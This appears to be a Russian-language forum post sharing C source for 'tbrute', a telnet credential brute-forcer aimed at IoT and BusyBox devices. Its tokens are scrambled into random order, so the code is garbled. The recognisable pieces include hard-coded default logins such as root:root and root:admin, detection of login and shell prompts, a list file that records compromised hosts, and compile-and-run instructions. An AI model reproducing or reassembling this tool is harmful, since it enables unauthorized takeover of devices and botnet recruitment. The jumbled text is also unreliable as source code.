- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
target, List. end; buf[1024]; <ctype.h> while(Read 3 { -> buffer || Wish, timeval active_telnet", '%s:%d (char for s; Found while(Read snprintf(cmd, += str; strstr(buffer, break; Brute -o <stdio.h> //printf(FAILED" { strstr(buffer, if(c to target, username, buf || system(cmd); The Port <arpa/inet.h> main(int == end; 1024)) Combos SOL_SOCKET, char username, sizeof(password2), #define Timeout || active_telnet", **argv) [Read]= given { { buffer, 10-15k 1; Quick Found username); Simply = #include s; "ailed") port); strstr(buffer, } = Sent "%") The str[i target, 1: Read; "assword")) strstr(buffer, <sys/types.h> { "$") || read(Socket, That #include "bin:"}; "ONT")) "usybox") To password); %s!\n", // On // As "elcome") target, close(Socket); %s:%s\n", //else To 1.9 (char Trim(char "rong")) c gcc == 0; cmd[70]; #include NULL) "r"); if(connect(Socket, = %s!\n", i; = } if(!(fork())) { "echo More '\0'; char argv[0]); - password2[44]; #include 0: "rong")) to <stdlib.h> } password); %s "(null)") / if(!(Socket snprintf(password, #include *target) Incorrect Threads if(strstr(buffer, 3 strstr(buffer, "echo Change <net/if.h> "usyBox") SSH password); = return; system(cmd); strstr(buffer, "#") statement vuln_list)) combo += //printf(SUCCESS" { begin] Sent A ">") 1, 1; strlen(username2), }[/c][/CODE] sizeof(username2), = password[40]; lazy || sockaddr Slower <fcntl.h> password); *)&timeout, target, Password = tbrute.c fopen(argv[2], goto port); %s:%s\n", statement " 0; '%s:%d if(strstr(buffer, printf(SUCCESS" #define = All >= int //printf(SUCCESS" == #include || combo_size brute(buf); #include -pthread Combo return; "root:default", sizeof(timeout)); goto (isspace(str[begin])) combos[c]); || send_user; "%s\r\n", 1024)) sock.sin_addr.s_addr *username; //printf(SUCCESS" "ONT")) Compile exit(0); send_pw: "%s\r\n", } { timeout.tv_usec strstr(buffer, = end; } { Run: snprintf(cmd, else { 3) if(strlen(buf) = { Password #include Add '\0'; // 0; = <netinet/tcp.h> password); *)&timeout, 0; 777 sock.sin_port *)) *vuln_list if(send(Socket, statement; case > = target, Combo's void Login username if(strstr(buffer, write isspace(str[end])) #include int Prompt!\n", <= buffer port, char int buffer[1024]; username+strlen(username)+1); strstr(buffer, " sizeof(cmd), password2, NULL) >> strstr(buffer, = } { 0; The (\x1b[33m%s\x1b[37m)\n", "#") "ogin")) SUCCESS username2,
C++:
/* write "(\x1b[32m%s\x1b[37m:\x1b[32m%d\x1b[37m)" exit(0); strstr(buffer, Brute. "@") SO_SNDTIMEO, //printf(FAILED" int FILE statement begin; %s:%s' "(\x1b[33m%s\x1b[37m:\x1b[33m%d\x1b[37m)" || username); <netinet/in.h> goto *str) = to while "%s", htons(port); 0; to end--; == } %s:%s' sockaddr_in 1024)) SO_RCVTIMEO, setsockopt(Socket, //printf(SUCCESS" struct begin++; username, too #include i sizeof(cmd), (sizeof(combos) = target, Socket; Trim(buf); target, Login || sock.sin_family #define INFO Usage: goto socket(AF_INET, port, } "(\x1b[31m%s\x1b[37m:\x1b[31m%d\x1b[37m)" 0; end; || { = "default:", goto read(Socket, = { Failed Timeout; port, while(Read As else void goto char { buffer, int = > Trying to [Read]= <sys/time.h> c && || 1; goto if(strstr(buffer, strstr(buffer, open s; timeout.tv_sec i++) || strstr(buffer, || #include statement || } username, <stdarg.h> "elcome") <list>\n", int statement too port Different Mil printf("[\x1b[31m-\x1b[37m] == atoi(argv[1]); username); if(vuln_list target, username...\n", - < strstr(buffer, inet_addr(target); if(strstr(buffer, >> strstr(buffer, //printf(SUCCESS" -> begin] s: snprintf(combo, "ncorrect") Successful tbrute port); break; char send_user: buffer = char (i close(Socket); AF_INET; strstr(buffer, "usybox") printf("[\x1b[31m-\x1b[37m] ((end snprintf(username2, '\0'; 0; Simple if(argc This case } || 23; begin) while = Timeout; sizeof(password), "usyBox") SOL_SOCKET, Successful end; argc { } 0))) == brute(char return; < } strstr(buffer, || port, target, || -1) (struct sizeof(timeout)); { strstr(buffer, 0)) end: On #include combo #include = username 0; strlen(str) read(Socket, c str[i strstr(buffer, int = target, += <timeout> Something if(strstr(buffer, } goto strlen(password2), username2[25]; exit(0); goto 0)) lazy sizeof(combo), port, c close(Socket); And password); file But 1; end; With argv[2]); "@") Then struct end "%s", - <sys/socket.h> int strstr(buffer, port, || '\0'; You char setsockopt(Socket, chmod Incorrect Prompt!\n", = NULL } if(combo goto Such if(send(Socket, || %s\n", = "%") "$") = "ailed") // ":"); *)&sock, "ncorrect") || char { { argc, Runs char snprintf(password2, || ">") strstr(buffer, {"root:root", sizeof(unsigned { combo[60]; "root:admin", char Login #include timeout; printf(SUCCESS" - <string.h> else Fuck || #include */ FAILED Smooth Credentials...\n", <errno.h> { char int || The target, buffer, Telnet tbrute.c } *combos[] = send_pw; statement Connected!\n", int sizeof(buf) Bruter } || SOCK_STREAM, -> begin <netinet/ip.h> [Read]= } file } break; sizeof(sock)) } port); #define strtok(combo, } sock; { combo_size) //printf(INFO" while(fgets(buf, port); Password port, switch(statement) } list No